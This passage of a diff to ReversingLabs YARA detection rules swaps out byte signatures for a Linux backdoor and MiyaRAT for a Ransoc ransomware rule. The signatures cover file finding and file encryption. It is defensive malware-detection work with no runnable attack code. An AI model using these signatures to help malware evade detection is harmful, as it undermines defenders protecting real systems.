?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 F8 ?? 89 C5 0F 84 ?? ?? ?? ?? 48 8D 4C 24 ?? 41 B8 ?? ?? ?? - ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 89 C7 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? - ?? ?? ?? 48 8D 5C 24 ?? E8 ?? ?? ?? ?? 48 8D 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? - 41 B8 ?? ?? ?? ?? 89 EF 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? - ?? ?? ?? 48 8B 7C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 8B 44 24 ?? 48 C7 44 24 ?? ?? ?? - ?? ?? 66 C1 C8 ?? 66 C7 44 24 ?? ?? ?? 66 89 44 24 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? - 89 44 24 ?? 48 89 DE 89 EF E8 ?? ?? ?? ?? 83 C0 ?? 0F 84 ?? ?? ?? ?? 0F 1F 44 00 ?? - 48 8B 5C 24 ?? 48 83 EB ?? 48 81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 89 E8 48 8B 5C 24 - ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 - } - $network_communication_2 = { - 48 89 5C 24 ?? 48 89 6C 24 ?? 48 89 FB 4C 89 64 24 ?? BE ?? ?? ?? ?? 48 83 EC ?? BF - ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? - ?? ?? ?? 48 8D 73 ?? 48 8D 53 ?? BF ?? ?? ?? ?? 48 8D 6C 24 ?? 45 31 E4 E8 ?? ?? ?? - ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 73 ?? 48 89 EF E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 83 - 78 ?? ?? 74 ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? - 4C 8D 64 24 ?? 48 89 EE 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 E6 48 89 DF E8 ?? ?? ?? ?? 48 - 8B 6C 24 ?? 41 89 C4 48 83 ED ?? 48 81 FD ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 45 84 E4 74 - ?? 80 7B ?? ?? 0F 84 ?? ?? ?? ?? 90 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 41 0F B6 - EC 48 83 EB ?? 48 81 FB ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 89 E8 48 8B 5C 24 ?? 48 8B 6C - 24 ?? 4C 8B 64 24 ?? 48 83 C4 ?? C3 - } - $persistence_mechanism_redhat_v11 = { - 41 57 41 56 41 55 41 54 55 53 48 83 EC ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 6C 24 - ?? 8B 7D ?? 4C 8D 7D ?? 81 C7 ?? ?? ?? ?? 48 63 FF E8 ?? ?? ?? ?? 48 89 C3 48 8D 7C - 24 ?? 48 89 EE E8 ?? ?? ?? ?? 4C 8B 6C 24 ?? BE ?? ?? ?? ?? 48 89 DF 31 C0 4C 8D 74 - 24 ?? 4C 89 EA E8 ?? ?? ?? ?? 48 98 48 8D 54 24 ?? 48 89 DE C6 04 18 ?? 4C 89 F7 E8 - ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 4C 89 E9 4C 89 EA BE ?? - ?? ?? ?? 48 89 DF 49 89 E9 4D 89 E8 31 C0 E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 41 89 C4 B9 - ?? ?? ?? ?? 89 C2 48 89 DE E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 - 0F 85 ?? ?? ?? ?? 48 8B 54 24 ?? 48 89 DF BE ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 89 - DF E8 ?? ?? ?? ?? 4C 89 EA BE ?? ?? ?? ?? 48 89 DF 31 C0 48 8D 6C 24 ?? E8 ?? ?? ?? - ?? 48 98 48 8D 54 24 ?? 48 89 DE C6 04 18 ?? 48 89 EF E8 ?? ?? ?? ?? 48 89 E7 31 C9 - BA ?? ?? ?? ?? 48 89 EE E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 41 BE ?? ?? ?? ?? 4C 8B 24 24 - 48 83 ED ?? 4C 39 F5 0F 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 85 - C0 0F 84 ?? ?? ?? ?? 48 89 DF 49 8D 5C 24 ?? E8 ?? ?? ?? ?? 49 39 DE 0F 85 ?? ?? ?? - ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DE 0F 85 ?? ?? ?? ?? 49 8D 5D ?? 49 39 DE 0F 85 - ?? ?? ?? ?? 49 81 FF ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 83 C4 ?? 5B 5D 41 5C 41 5D 41 - 5E 41 5F C3 - } - $change_timestamp_and_read_config_v11 = { - 55 53 48 83 EC ?? 48 8D 5C 24 ?? 48 89 E7 E8 ?? ?? ?? ?? 48 89 E6 48 89 DF E8 ?? ?? - ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 48 81 FB ?? ?? ?? ?? 0F 85 - ?? ?? ?? ?? 48 89 E6 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 1C 24 BE ?? ?? ?? ?? 48 89 - DF E8 ?? ?? ?? ?? 48 85 C0 74 ?? 48 83 C0 ?? 89 C5 29 DD 8D 7D ?? 48 63 FF E8 ?? ?? - ?? ?? 48 63 D5 48 89 C3 48 89 C7 C6 04 02 ?? 48 8B 34 24 E8 ?? ?? ?? ?? 48 89 DF E8 - ?? ?? ?? ?? 48 89 DE 48 89 C2 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? - BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 1C 24 B8 ?? ?? ?? - ?? 48 83 EB ?? 48 39 D8 75 ?? 48 83 C4 ?? 5B 5D C3 - } - $generate_machine_id_v11 = { - 41 57 BE ?? ?? ?? ?? 49 89 FF 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 8D 9C - 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 4C 8D AC 24 ?? ?? ?? - ?? 31 C9 BA ?? ?? ?? ?? 48 89 DE 4C 89 EF E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 41 - BE ?? ?? ?? ?? 48 83 EB ?? 4C 39 F3 0F 85 ?? ?? ?? ?? 4C 8D A4 24 ?? ?? ?? ?? 48 8B - B4 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 8B 84 24 - ?? ?? ?? ?? 48 83 78 ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 48 8D 94 24 ?? - ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 31 C9 BA ?? - ?? ?? ?? 48 89 DE 48 89 EF E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 - DE 0F 85 ?? ?? ?? ?? 48 89 EE 4C 89 E7 E8 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 8D - BC 24 ?? ?? ?? ?? 48 8B 56 ?? E8 ?? ?? ?? ?? 31 FF 4C 8B AC 24 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 89 C7 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C6 48 8D BC 24 ?? ?? ?? - ?? F7 EA 89 F1 89 F5 C1 F9 ?? C1 FA ?? 29 CA 69 D2 ?? ?? ?? ?? 29 D5 E8 ?? ?? ?? ?? - 48 8B 9C 24 ?? ?? ?? ?? 41 89 E8 31 C0 4C 89 E9 BE ?? ?? ?? ?? 48 89 E7 48 89 DA 48 - 83 EB ?? E8 ?? ?? ?? ?? 49 39 DE 89 C5 0F 85 ?? ?? ?? ?? 48 63 C5 48 8D 94 24 ?? ?? - ?? ?? 48 8D BC 24 ?? ?? ?? ?? C6 04 04 ?? 48 89 E6 E8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? - ?? ?? 48 89 E6 4C 89 FF E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DE - 0F 85 ?? ?? ?? ?? 49 8D 5D ?? 49 39 DE 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 - 83 EB ?? 49 39 DE 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DE 0F - 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DE 0F 85 ?? ?? ?? ?? 48 81 - C4 ?? ?? ?? ?? 4C 89 F8 5B 5D 41 5C 41 5D 41 5E 41 5F C3 - } - $persistence_mechanism_redhat_v7 = { - 48 89 6C 24 ?? 4C 89 7C 24 ?? 48 89 5C 24 ?? 4C 89 64 24 ?? 4C 89 6C 24 ?? 4C 89 74 - 24 ?? 48 81 EC ?? ?? ?? ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 8B 7D ?? 4C - 8D 7D ?? 81 C7 ?? ?? ?? ?? 48 63 FF E8 ?? ?? ?? ?? 48 89 C3 48 8D 7C 24 ?? 48 89 EE - E8 ?? ?? ?? ?? 4C 8B 64 24 ?? BE ?? ?? ?? ?? 48 89 DF 31 C0 4C 8D 74 24 ?? 4C 89 E2 - E8 ?? ?? ?? ?? 48 98 48 8D 54 24 ?? 48 89 DE C6 04 18 ?? 4C 89 F7 E8 ?? ?? ?? ?? 48 - 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 74 ?? 4C 89 E1 4C 89 E2 BE ?? ?? ?? ?? 48 89 - DF 49 89 E9 4D 89 E0 31 C0 E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 41 89 C5 B9 ?? ?? ?? ?? 89 - C2 48 89 DE E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 31 F6 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? - ?? 48 8B 54 24 ?? 48 89 DF BE ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? - ?? 4C 89 E2 BE ?? ?? ?? ?? 48 89 DF 31 C0 E8 ?? ?? ?? ?? 48 98 48 89 E7 31 C9 C6 04 - 18 ?? BA ?? ?? ?? ?? 48 89 DE E8 ?? ?? ?? ?? 48 8B 2C 24 BE ?? ?? ?? ?? 48 89 EF E8 - ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 DF 48 8D 5D ?? BD ?? ?? ?? ?? E8 ?? ?? - ?? ?? 48 39 EB 0F 85 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 48 39 DD 0F 85 ?? ?? ?? - ?? 49 8D 5C 24 ?? 48 39 DD 0F 85 ?? ?? ?? ?? 49 81 FF ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? - 48 8B 5C 24 ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B AC 24 ?? ?? ?? ?? 4C 8B B4 24 ?? - ?? ?? ?? 4C 8B BC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 + $find_files = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 50 89 85 + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? 51 FF D6 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? + ?? 89 85 ?? ?? ?? ?? EB ?? 8D 49 ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 83 C4 ?? C6 03 ?? FF + 15 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 99 B9 ?? ?? + ?? ?? F7 F9 52 53 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 4F 75 ?? 8B 95 ?? ?? ?? + ?? 52 8D 85 ?? ?? ?? ?? 50 C6 43 ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? + ?? ?? 51 FF D6 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF D6 F6 85 ?? ?? ?? ?? ?? + 74 ?? 8B 3D ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D7 85 C0 0F 84 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 FF D7 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 50 ?? 8A 08 40 84 C9 75 ?? 2B C2 + 50 8D 8D ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D BD + ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8B F8 72 ?? 8B + 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 FF ?? 74 ?? 53 8D 9D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? + ?? 8B E5 5D C3 } - $get_device_name_v7 = { - 48 89 5C 24 ?? 48 89 6C 24 ?? BE ?? ?? ?? ?? 4C 89 64 24 ?? 4C 89 6C 24 ?? B9 ?? ?? - ?? ?? 4C 89 74 24 ?? 48 81 EC ?? ?? ?? ?? 4C 8B 05 ?? ?? ?? ?? 48 8D 5C 24 ?? BA ?? - ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DE BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 5C 24 - ?? 41 BD ?? ?? ?? ?? 48 83 EB ?? 4C 39 EB 0F 85 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 - 83 78 ?? ?? 75 ?? 48 8D 5C 24 ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DE BF ?? ?? ?? ?? E8 - ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? - ?? 48 8B 15 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 7C 24 ?? - E8 ?? ?? ?? ?? 4C 8B 64 24 ?? 48 89 E7 E8 ?? ?? ?? ?? 48 8B 2C 24 48 8D 5C 24 ?? 41 - B8 ?? ?? ?? ?? 4C 89 E2 BE ?? ?? ?? ?? 31 C0 48 89 DF 48 89 E9 E8 ?? ?? ?? ?? 48 89 - DE BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 8D 5D ?? 49 39 DD 0F 85 ?? ?? ?? ?? 49 8D 5C 24 ?? 49 39 DD 0F - 85 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B 6C 24 ?? 4C 8B B4 - 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 + $encrypt_files_p1 = { + 55 8B EC 83 EC ?? 53 56 57 68 ?? ?? ?? ?? 33 DB 6A ?? 53 8B F0 53 8D 45 ?? 33 FF 50 + 89 7D ?? 89 5D ?? 89 5D ?? 89 5D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 55 + ?? 8D 4D ?? 51 53 53 68 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B + C6 8D 50 ?? 8A 08 40 84 C9 75 ?? 53 2B C2 50 8B 45 ?? 56 50 FF 15 ?? ?? ?? ?? 85 C0 + 0F 84 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8D 4D ?? 51 6A ?? 52 68 ?? ?? ?? ?? 50 FF 15 ?? + ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 50 8D 4D ?? 51 53 53 6A ?? 53 8B + 1D ?? ?? ?? ?? 52 89 45 ?? FF D3 85 C0 74 ?? 8B 45 ?? 8B 3D ?? ?? ?? ?? 50 6A ?? FF + D7 50 FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 8B 4D ?? 8B 55 ?? 8B 02 51 50 56 E8 ?? ?? + ?? ?? 8B 4D ?? 8B 45 ?? 83 C4 ?? 51 8D 55 ?? 52 56 6A ?? 6A ?? 6A ?? 50 FF D3 85 C0 + 74 ?? 8B 5D ?? 8B 0B 51 6A ?? FF D7 50 FF 15 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 89 10 89 + 33 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 7D ?? 33 DB 8B 55 ?? 52 FF + 15 ?? ?? ?? ?? 8B 45 ?? 53 50 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C2 } - $generate_machine_id_v7 = { - 41 57 31 C9 BA ?? ?? ?? ?? BE ?? ?? ?? ?? 49 89 FF 41 56 41 55 41 54 55 53 48 81 EC - ?? ?? ?? ?? 4C 8D A4 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? - 48 8B B4 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 8B - 84 24 ?? ?? ?? ?? 48 83 78 ?? ?? 0F 84 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 31 C9 BA - ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 DE 48 89 EF E8 ?? ?? ?? ?? - 48 8B B4 24 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 48 8B 56 ?? E8 ?? ?? ?? ?? 31 FF 4C - 8B B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C7 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? - ?? 89 C6 48 8D BC 24 ?? ?? ?? ?? F7 EA 89 F1 89 F5 C1 F9 ?? C1 FA ?? 29 CA 69 D2 ?? - ?? ?? ?? 29 D5 E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 41 89 E8 31 C0 4C 89 F1 BE ?? - ?? ?? ?? 48 89 E7 41 BD ?? ?? ?? ?? 48 89 DA 48 83 EB ?? E8 ?? ?? ?? ?? 4C 39 EB 89 - C5 0F 85 ?? ?? ?? ?? 48 63 C5 48 8D 94 24 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? C6 04 - 04 ?? 48 89 E6 E8 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 E6 4C 89 FF E8 ?? ?? ?? - ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? 49 8D 5E ?? 49 39 - DD 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? - 48 8B 9C 24 ?? ?? ?? ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? - ?? 48 83 EB ?? 49 39 DD 0F 85 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 4C 89 F8 5B 5D 41 5C - 41 5D 41 5E 41 5F C3 + $encrypt_files_p2 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 33 F6 56 68 ?? ?? ?? ?? + 6A ?? 56 6A ?? 68 ?? ?? ?? ?? 53 89 85 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? + ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 8B F0 + 56 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? + ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 56 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 50 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 E8 + ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 E8 ?? + ?? ?? ?? 83 C4 ?? 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? 8D B5 ?? ?? + ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72 ?? 8B + 00 50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 39 B5 ?? ?? ?? ?? + 72 ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? + ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 8B 95 ?? ?? ?? ?? 6A ?? 8D + 8D ?? ?? ?? ?? 51 8B 8D ?? ?? ?? ?? 52 51 50 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? + 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? + ?? ?? 8B E5 5D C2 } condition: - uint32( 0 ) == 0x464C457F and ( ( $persistence_mechanism_ubuntu ) and ( all of ( $network_communication_* ) ) and ( ( ( $change_timestamp_and_read_config_v11 ) and ( $persistence_mechanism_redhat_v11 ) and ( $generate_machine_id_v11 ) ) or ( ( $persistence_mechanism_redhat_v7 ) and ( $get_device_name_v7 ) and ( $generate_machine_id_v7 ) ) ) ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_p* ) ) } -rule REVERSINGLABS_Win64_Backdoor_Miyarat : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Ransoc : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects MiyaRAT backdoor." + description = "Yara rule that detects Ransoc ransomware." author = "ReversingLabs" - id = "1c5ae79a-9760-5622-909c-76bb47721ed4" - date = "2025-02-27" - modified = "2025-02-27" + id = "a990754e-eafa-5501-a123-bcbd5aa26ca6" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win64.Backdoor.MiyaRAT.yara#L1-L264" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Ransoc.yara#L1-L114" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a06deed11a7bdaa17b4cb69da1bd66ff2f2072af8cf4081f7481a51e4567135d" + logic_hash = "1f48f1b713c18b099e863d8a11e872ae84df0ea355f01cba765e8333d8d98575" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "MiyaRAT" + tc_detection_type = "Ransomware" + tc_detection_name = "Ransoc" tc_detection_factor = 5 importance = 25 strings: - $get_disk_information_p1 = { - 48 8B C4 48 89 58 ?? 48 89 70 ?? 57 41 54 41 55 41 56 41 57 48 81 EC ?? ?? ?? ?? 0F - 29 70 ?? 0F 29 78 ?? 44 0F 29 40 ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? - ?? ?? 48 8B D9 48 89 8C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 45 33 ED 45 8B E5 44 - 89 6C 24 ?? FF 15 ?? ?? ?? ?? 8B F0 89 84 24 ?? ?? ?? ?? 0F 57 C0 0F 11 84 24 ?? ?? - ?? ?? 0F 57 C9 F3 0F 7F 8C 24 ?? ?? ?? ?? 45 33 C0 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 85 F6 75 ?? 0F 57 C0 0F 11 03 4C 89 6B ?? 4C 89 6B ?? - 41 B8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8B CB E8 ?? ?? ?? ?? 90 48 8B 94 24 ?? ?? - ?? ?? 48 83 FA ?? 0F 86 ?? ?? ?? ?? 48 FF C2 48 8B 8C 24 ?? ?? ?? ?? 48 8B C1 48 81 - FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 - ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? B0 ?? 48 BF ?? ?? ?? ?? ?? ?? ?? ?? F2 44 - 0F 10 05 ?? ?? ?? ?? 88 44 24 ?? 3C ?? 0F 8F ?? ?? ?? ?? 0F BE D0 8D 4A ?? 0F B6 C1 - 0F A3 C6 0F 83 ?? ?? ?? ?? 0F 57 C0 0F 11 44 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 - 44 24 ?? ?? ?? ?? ?? 0F B6 C2 88 44 24 ?? C6 44 24 ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 15 - ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 0F 57 C0 0F 11 84 24 ?? ?? ?? ?? 4C 89 AC - 24 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 0F 10 00 0F 11 84 24 ?? ?? ?? ?? 0F 10 48 ?? - 0F 11 8C 24 ?? ?? ?? ?? 4C 89 68 ?? 48 C7 40 ?? ?? ?? ?? ?? C6 00 ?? 41 83 CC ?? 44 - 89 64 24 ?? 48 8B 54 24 ?? 48 83 FA ?? 76 ?? 48 FF C2 48 8B 4C 24 ?? 48 8B C1 48 81 - FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 6C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C6 44 24 - } - $get_disk_information_p2 = { - 48 8D 8C 24 ?? ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 48 0F 47 8C 24 ?? ?? ?? ?? FF 15 - ?? ?? ?? ?? 8B D8 48 8D 8C 24 ?? ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 48 0F 47 8C 24 - ?? ?? ?? ?? 4C 8D 8C 24 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? - FF 15 ?? 